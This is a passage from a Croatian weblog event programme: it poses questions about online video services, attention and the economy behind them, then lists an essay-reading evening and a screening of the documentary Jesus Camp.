Ako jeste, ne mijenjaju li onda spomenuti servisi naše navike u gledanju pokretnih slika općenito? Kako zapravo pretražujemo baze video podataka kad smo na Internetu, budući da nikad nemamo (dovoljno) vremena i kako formiramo svoje omiljene playliste? Zahvaljujući tom iskustvu ne suočavamo li se s ponašanjem koji je suvremena psihologija dijagnosticirala kao manjak koncetracije izazvan hiperaktivnim poremaćejem (ADHD &#8211; Attention Deficit Hyperactivity Disorder)?

S druge strane, kakva (nova) vrsta ekonomije leži ispod površine Googleovih i Yahooovih baza video podataka i kakve sve veze ima s tim Iphone i najnovija serija Nokijinih mobitela? I, napokon, šta u svemu tome radi T- Com, osim što uz pomoć Filipa Šovagovića, reklamira povećanje brzine aplauda? Možda reklamira Ivicu Kirina?_


@ May22_19:00-21:00
Geek čita

čitamo neke super eseje i onda diskutiramo. scary.


@ May29_19:00-21:00
Jesus camp (dokumentarni, SAD, 2006.)

Režija: Heidi Ewing, Rachel Grady

Pentakostalni ljetni kamp za djecu velika je konkurencija Hogwartsovoj Školi za vještice i magove. No za razliku od Harry Pottera male slatke vještice i magovi iz Pentakostalnog ljetnog kampa imaju visoke ciljeve: "vratiti Ameriku Kristu. Hell yeah!



original Apr 24 3:04pm

permalink
Weblog Navigation
Loading...
Weblog Archives
  • Loading...